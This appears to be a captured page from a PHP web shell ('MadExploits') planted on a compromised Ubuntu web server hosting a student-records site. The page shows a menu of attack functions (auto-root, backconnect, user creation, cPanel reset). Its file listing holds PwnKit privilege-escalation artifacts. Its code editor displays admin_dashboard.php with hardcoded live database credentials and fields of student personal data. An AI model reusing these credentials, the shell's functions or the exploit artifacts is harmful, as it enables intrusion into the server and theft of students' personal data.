Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
wp-admin
[ DIR ]
drwxrwxr-x
wp-content
[ DIR ]
drwxrwxr-x
wp-includes
[ DIR ]
drwxrwxr-x
.htaccess
523
B
-rwxrwxr-x
.mad-root
0
B
-rw-r--r--
admin_dashboard.php
20.42
KB
-rw-r--r--
admin_login.php
8.62
KB
-rw-r--r--
index.php
405
B
-rwxrwxr-x
license.txt
19.45
KB
-rwxrwxr-x
old-data.tar
381.81
MB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
readme.html
7.23
KB
-rwxrwxr-x
student_dashboard.php
24.53
KB
-rw-r--r--
student_form.php
15.23
KB
-rw-r--r--
student_login.php
7.94
KB
-rw-r--r--
student_ranking.php
17.12
KB
-rw-r--r--
wordpress-6.5.5.zip
24.98
MB
-rwxrwxr-x
wp-activate.php
7.21
KB
-rwxrwxr-x
wp-blog-header.php
351
B
-rwxrwxr-x
wp-comments-post.php
2.27
KB
-rwxrwxr-x
wp-config
3.12
KB
-rwxrwxr-x
wp-config-sample.php
2.94
KB
-rwxrwxr-x
wp-config.php
3.21
KB
-rw-rw-rw-
wp-cron.php
5.51
KB
-rwxrwxr-x
wp-links-opml.php
2.44
KB
-rwxrwxr-x
wp-load.php
3.83
KB
-rwxrwxr-x
wp-login.php
49.72
KB
-rwxrwxr-x
wp-mail.php
8.33
KB
-rwxrwxr-x
wp-settings.php
27.76
KB
-rwxrwxr-x
wp-signup.php
33.58
KB
-rwxrwxr-x
wp-trackback.php
4.77
KB
-rwxrwxr-x
xmlrpc.php
3.17
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admin_dashboard.php
<?php session_start(); // ---- Admin auth ---- if (empty($_SESSION['admin_logged_in'])) { header('Location: admin_login.php'); exit; } // ---- CSRF token ---- if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(24)); } $csrf = $_SESSION['csrf_token']; // ---- Handle logout (POST) ---- if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'logout') { if (!empty($_POST['csrf_token']) && hash_equals($csrf, $_POST['csrf_token'])) { $_SESSION = []; if (ini_get("session.use_cookies")) { $params = session_get_cookie_params(); setcookie(session_name(), '', time() - 42000, $params["path"], $params["domain"], $params["secure"], $params["httponly"] ); } session_destroy(); } header('Location: admin_login.php'); exit; } /* Now update handlers to prefer record_id (operate on that specific student_records row). If record_id is missing or invalid, fallback to previous behaviour (operate on latest record for user). */ // ---- Handle likes update ---- if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'update_likes') { if (empty($_POST['csrf_token']) || !hash_equals($csrf, $_POST['csrf_token'])) { $_SESSION['flash_error'] = 'Invalid CSRF token.'; header('Location: ' . $_SERVER['PHP_SELF']); exit; } $likes_value = max(0, (int)($_POST['likes_value'] ?? 0)); $record_id = max(0, (int)($_POST['record_id'] ?? 0)); // prefer record_id $user_id = max(0, (int)($_POST['id'] ?? 0)); // fallback if ($record_id > 0) { // update specific record $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset('utf8mb4'); $stmt = $conn->prepare("UPDATE student_records SET likes = ?, updated_at = CURRENT_TIMESTAMP() WHERE id = ?"); $stmt->bind_param('ii', $likes_value, $record_id); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to update likes: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Likes updated for record ' . $record_id . '.'; } $stmt->close(); $conn->close(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // fallback: operate on latest record for the given user (existing behaviour) if ($user_id <= 0) { $_SESSION['flash_error'] = 'Invalid student ID.'; header('Location: ' . $_SERVER['PHP_SELF']); exit; } $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset('utf8mb4'); // Find latest record for this user $stmt = $conn->prepare("SELECT id FROM student_records WHERE user_id = ? ORDER BY created_at DESC LIMIT 1"); $stmt->bind_param('i', $user_id); $stmt->execute(); $res = $stmt->get_result(); $row = $res->fetch_assoc(); $stmt->close(); if ($row && !empty($row['id'])) { // update existing record $stmt = $conn->prepare("UPDATE student_records SET likes = ?, updated_at = CURRENT_TIMESTAMP() WHERE id = ?"); $stmt->bind_param('ii', $likes_value, $row['id']); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to update likes: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Likes updated.'; } $stmt->close(); } else { // insert a new record (source defaults to 'linkedin' per schema) $stmt = $conn->prepare("INSERT INTO student_records (user_id, likes) VALUES (?, ?)"); $stmt->bind_param('ii', $user_id, $likes_value); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to insert record: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Likes inserted as a new record.'; } $stmt->close(); } $conn->close(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ---- Handle rank/unrank ---- if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'toggle_rank') { if (empty($_POST['csrf_token']) || !hash_equals($csrf, $_POST['csrf_token'])) { $_SESSION['flash_error'] = 'Invalid CSRF token.'; header('Location: ' . $_SERVER['PHP_SELF']); exit; } $record_id = max(0, (int)($_POST['record_id'] ?? 0)); // prefer record_id $user_id = max(0, (int)($_POST['id'] ?? 0)); // fallback if ($record_id > 0) { // toggle specific record $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset('utf8mb4'); // fetch current value $stmt = $conn->prepare("SELECT is_ranked FROM student_records WHERE id = ? LIMIT 1"); $stmt->bind_param('i', $record_id); $stmt->execute(); $res = $stmt->get_result(); $row = $res->fetch_assoc(); $stmt->close(); if (!$row) { $_SESSION['flash_error'] = 'Record not found.'; } else { $newVal = $row['is_ranked'] ? 0 : 1; $stmt = $conn->prepare("UPDATE student_records SET is_ranked = ?, updated_at = CURRENT_TIMESTAMP() WHERE id = ?"); $stmt->bind_param('ii', $newVal, $record_id); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to toggle rank: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Record ' . $record_id . ' rank updated.'; } $stmt->close(); } $conn->close(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // fallback: toggle on latest record for the user (existing behaviour) if ($user_id <= 0) { $_SESSION['flash_error'] = 'Invalid student ID.'; header('Location: ' . $_SERVER['PHP_SELF']); exit; } $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset('utf8mb4'); // get latest record for the user $stmt = $conn->prepare("SELECT id, is_ranked FROM student_records WHERE user_id = ? ORDER BY created_at DESC LIMIT 1"); $stmt->bind_param('i', $user_id); $stmt->execute(); $res = $stmt->get_result(); $r = $res->fetch_assoc(); $stmt->close(); if ($r && !empty($r['id'])) { // toggle existing $newVal = $r['is_ranked'] ? 0 : 1; $stmt = $conn->prepare("UPDATE student_records SET is_ranked = ?, updated_at = CURRENT_TIMESTAMP() WHERE id = ?"); $stmt->bind_param('ii', $newVal, $r['id']); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to toggle rank: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Student ranking updated.'; } $stmt->close(); } else { // no record yet, insert one with is_ranked = 1 $one = 1; $stmt = $conn->prepare("INSERT INTO student_records (user_id, is_ranked) VALUES (?, ?)"); $stmt->bind_param('ii', $user_id, $one); $stmt->execute(); if ($stmt->errno) { $_SESSION['flash_error'] = 'Failed to insert record for rank: ' . $stmt->error; } else { $_SESSION['flash_success'] = 'Student ranking added.'; } $stmt->close(); } $conn->close(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ---- Fetch users + their records as separate rows (LEFT JOIN) ---- $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset('utf8mb4'); $branch = trim($_GET['branch'] ?? ''); $year = trim($_GET['year'] ?? ''); $q = trim($_GET['q'] ?? ''); $date = trim($_GET['date'] ?? ''); $conditions = []; $params = []; $types = ''; // Filters on users table if ($branch) { $conditions[] = 'u.branch = ?'; $params[] = $branch; $types .= 's'; } if ($year) { $conditions[] = 'u.year = ?'; $params[] = $year; $types .= 's'; } if ($q) { $conditions[] = '(u.name LIKE ? OR u.email LIKE ? OR u.phone LIKE ?)'; $like = "%{$q}%"; $params = array_merge($params, [$like, $like, $like]); $types .= 'sss'; } if ($date) { $conditions[] = 'DATE(u.created_at) = ?'; $params[] = $date; $types .= 's'; } // Build query: user rows left-joined with student_records (each record is separate) $sql = "SELECT u.id AS user_id, u.name AS user_name, u.email AS user_email, u.phone AS user_phone, u.branch AS user_branch, u.year AS user_year, u.created_at AS user_created_at, sr.id AS record_id, sr.likes AS record_likes, sr.photo_url AS record_photo, sr.source AS record_source, sr.is_ranked AS record_is_ranked, sr.created_at AS record_created_at FROM users u LEFT JOIN student_records sr ON sr.user_id = u.id"; if ($conditions) { $sql .= ' WHERE ' . implode(' AND ', $conditions); } // order: users newest first, and for each user records newest first (so multiple rows per user) $sql .= ' ORDER BY u.id DESC, sr.created_at DESC'; $stmt = $conn->prepare($sql); if ($params) { $refs = []; foreach ($params as $k => $v) $refs[$k] = &$params[$k]; array_unshift($refs, $types); call_user_func_array([$stmt, 'bind_param'], $refs); } $stmt->execute(); $result = $stmt->get_result(); // fetch all rows (each row is either user-with-record or user-with-null-record) $rows = $result->fetch_all(MYSQLI_ASSOC); $stmt->close(); $conn->close(); $admin_name = htmlspecialchars($_SESSION['admin_name'] ?? ($_SESSION['admin_username'] ?? 'Admin')); function pretty_source($s) { return $s ? ucfirst(strtolower($s)) : ''; } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>Admin Dashboard — Student Records (separate entries)</title> <style> :root{ --bg:#f5f7fb;--card:#fff;--muted:#6b7280;--accent:#0b69ff;--accent-2:#0b56d6; --success:#16a34a;--danger:#dc2626;--radius:12px;--shadow:0 12px 36px rgba(2,6,23,0.08); --table-border:#edf2f7;--max-width:1300px;--sans:"Inter",system-ui,-apple-system,"Segoe UI",Roboto,Arial; } *{box-sizing:border-box;margin:0;padding:0} body{font-family:var(--sans);background:var(--bg);color:#0f1724;padding:28px;display:flex;justify-content:center} .page{width:100%;max-width:var(--max-width)} .header{display:flex;justify-content:space-between;align-items:center;margin-bottom:18px} .brand{display:flex;gap:12px;align-items:center} .logo{width:48px;height:48px;border-radius:10px;background:linear-gradient(135deg,var(--accent),var(--accent-2));display:flex;justify-content:center;align-items:center;color:#fff;font-weight:700;font-size:18px;box-shadow:0 8px 20px rgba(11,105,255,0.12)} .card{background:var(--card);border-radius:var(--radius);padding:20px;box-shadow:var(--shadow);border:1px solid rgba(15,23,42,0.03)} .controls{display:flex;gap:12px;align-items:center;margin-bottom:16px;flex-wrap:wrap} .filters{display:flex;gap:8px;flex-wrap:wrap;align-items:center} .filters select,.filters input[type="search"],.filters input[type="date"]{padding:9px 10px;border-radius:8px;border:1px solid #e6e9ef;background:#fff;font-size:14px;min-height:40px} .filters .btn{padding:9px 12px;border-radius:8px;border:none;cursor:pointer;font-weight:600;min-height:40px} .filters .btn.primary{background:linear-gradient(180deg,var(--accent),var(--accent-2));color:#fff;box-shadow:0 8px 20px rgba(11,105,255,0.08)} .table-wrap{overflow:auto;margin-top:6px} table{width:100%;border-collapse:separate;border-spacing:0;min-width:1100px;background:transparent} thead th{padding:12px 14px;text-align:left;font-size:13px;color:#374151;background:linear-gradient(180deg, rgba(247,249,250,0.8), rgba(247,249,250,0.6));border-bottom:1px solid var(--table-border);position:sticky;top:0;z-index:2} tbody td{padding:12px 14px;border-bottom:1px solid #f1f5f9;font-size:14px;color:#0f1724;vertical-align:middle} tbody tr:hover{background:#fbfcff} .rank-btn{padding:7px 12px;border-radius:8px;font-weight:700;cursor:pointer;border:none;font-size:13px} .ranked{background:#16a34a;color:#fff} .not-ranked{background:#f3f4f6;color:#374151} .like-box{display:flex;align-items:center;gap:8px} .like-box button{padding:8px;border-radius:8px;cursor:pointer;border:1px solid #e6e9ef;background:#fff;font-size:14px} .save-btn{background:var(--accent);border:none;padding:8px 12px;border-radius:8px} .increase-btn,.decrease-btn{width:36px;height:36px;font-size:16px;display:flex;align-items:center;justify-content:center} .likes-input{height:36px;width:86px;text-align:center;border-radius:8px;border:1px solid #e6e9ef} .photo-link{color:var(--accent);text-decoration:none;font-weight:600} .small{font-size:13px;color:var(--muted)} .row-user{background:#fbfbff} .record-timestamp{font-size:13px;color:var(--muted)} .toast{position:fixed;top:20px;right:20px;z-index:9999;padding:14px 18px;border-radius:12px;font-weight:600;color:#fff;min-width:220px;box-shadow:0 6px 18px rgba(0,0,0,0.12);opacity:0;transform:translateY(-20px);transition:0.3s} .toast.show{opacity:1;transform:translateY(0)} .toast.success{background:#16a34a} .toast.error{background:#dc2626} </style> </head> <body> <div class="page"> <div class="header"> <div class="brand"> <div class="logo">SF</div> <div> <h1 style="font-size:18px;margin:0">Admin — Student Records</h1> <div class="small">Showing each student_records entry as a separate row</div> </div> </div> <!-- Sign Out --> <form method="post" style="margin-left:auto;"> <input type="hidden" name="csrf_token" value="<?= $csrf ?>"> <input type="hidden" name="action" value="logout"> <button type="submit" class="filters btn clear" style="padding:8px 12px;">Sign Out</button> </form> </div> <div class="card"> <div class="controls"> <form method="get" class="filters" style="width:100%"> <select name="branch" aria-label="Branch"> <option value="">All Branches</option> <?php foreach(['CSE','ECE','Mechanical','Civil','IT'] as $b): ?> <option value="<?= htmlspecialchars($b) ?>" <?= $branch === $b ? 'selected' : '' ?>><?= htmlspecialchars($b) ?></option> <?php endforeach; ?> <!-- Added 'Other' option --> <option value="Other" <?= $branch === 'Other' ? 'selected' : '' ?>>Other</option> </select> <select name="year" aria-label="Year"> <option value="">All Years</option> <?php foreach(['1st Year','2nd Year','3rd Year','4th Year'] as $y): ?> <option value="<?= htmlspecialchars($y) ?>" <?= $year === $y ? 'selected' : '' ?>><?= htmlspecialchars($y) ?></option> <?php endforeach; ?> <!-- Added 'Other' option --> <option value="Other" <?= $year === 'Other' ? 'selected' : '' ?>>Other</option> </select> <input type="search" name="q" placeholder="Search name / email / phone" value="<?= htmlspecialchars($q) ?>"> <input type="date" name="date" value="<?= htmlspecialchars($date) ?>"> <button type="submit" class="btn primary">Search</button> <button type="button" class="btn" onclick="window.location='<?= $_SERVER['PHP_SELF'] ?>'">Clear</button> </form> </div> <div class="table-wrap" role="region"> <?php if (empty($rows)): ?> <p style="padding:12px 4px;color:var(--muted)">No rows found.</p> <?php else: ?> <table> <thead> <tr> <th>User</th> <th>Branch / Year</th> <th style="text-align: center;">Likes</th> <th>Source</th> <th>Record Created</th> <th>Photo</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($rows as $r): $isRanked = !empty($r['record_is_ranked']) ? true : false; $photo = $r['record_photo'] ?? null; $recordId = $r['record_id'] !== null ? (int)$r['record_id'] : 0; ?> <tr> <td> <div style="font-weight:700"><?= htmlspecialchars($r['user_name']) ?></div> <div class="small"><?= htmlspecialchars($r['user_email']) ?> • <?= htmlspecialchars($r['user_phone']) ?></div> </td> <td><?= htmlspecialchars($r['user_branch']) ?> • <?= htmlspecialchars($r['user_year']) ?></td> <td> <?php if ($recordId > 0): ?> <div class="like-box"> <form method="post" style="display:flex;gap:8px;align-items:center;"> <input type="hidden" name="csrf_token" value="<?= $csrf ?>"> <input type="hidden" name="action" value="update_likes"> <input type="hidden" name="record_id" value="<?= $recordId ?>"> <input type="hidden" name="id" value="<?= (int)$r['user_id'] ?>"> <!-- fallback --> <button type="button" class="decrease-btn" onclick="let i=this.nextElementSibling;i.value=Math.max(0,parseInt(i.value||0)-1)">−</button> <input type="number" name="likes_value" class="likes-input" value="<?= (int)($r['record_likes'] ?? 0) ?>" min="0"> <button type="button" class="increase-btn" onclick="let i=this.previousElementSibling;i.value=parseInt(i.value||0)+1">+</button> <button type="submit" class="save-btn">Save</button> </form> </div> <?php else: ?> <span class="small" style="color:var(--muted)">No record</span> <?php endif; ?> </td> <td><?= $r['record_source'] ? htmlspecialchars(pretty_source($r['record_source'])) : '<span class="small" style="color:var(--muted)">N/A</span>' ?></td> <td class="record-timestamp"> <?= $r['record_created_at'] ? date('d/m/Y h:i A', strtotime($r['record_created_at'])) : '<span class="small" style="color:var(--muted)">N/A</span>' ?> </td> <td> <?php if (!empty($photo)): ?> <a class="photo-link" href="<?= htmlspecialchars($photo) ?>" target="_blank">View</a> <?php else: ?> <span class="small" style="color:var(--muted)">N/A</span> <?php endif; ?> </td> <td> <?php if ($recordId > 0): ?> <form method="post" style="display:inline"> <input type="hidden" name="csrf_token" value="<?= $csrf ?>"> <input type="hidden" name="action" value="toggle_rank"> <input type="hidden" name="record_id" value="<?= $recordId ?>"> <input type="hidden" name="id" value="<?= (int)$r['user_id'] ?>"> <!-- fallback --> <button class="rank-btn <?= $isRanked ? 'ranked' : 'not-ranked' ?>" type="submit"><?= $isRanked ? '✓ Ranked' : 'Mark' ?></button> </form> <?php else: ?> <span class="small" style="color:var(--muted)">N/A</span> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> </div> <!-- Toast JS --> <div id="toast-container"></div> <script> function showToast(message, type='success') { const toast = document.createElement('div'); toast.className = `toast ${type} show`; toast.textContent = message; document.body.appendChild(toast); setTimeout(()=>{ toast.classList.remove('show'); toast.remove(); }, 3500); } <?php if(!empty($_SESSION['flash_success'])): ?> showToast("<?= addslashes($_SESSION['flash_success']) ?>",'success'); <?php unset($_SESSION['flash_success']); endif; ?> <?php if(!empty($_SESSION['flash_error'])): ?> showToast("<?= addslashes($_SESSION['flash_error']) ?>",'error'); <?php unset($_SESSION['flash_error']); endif; ?> </script> </body> </html>
Close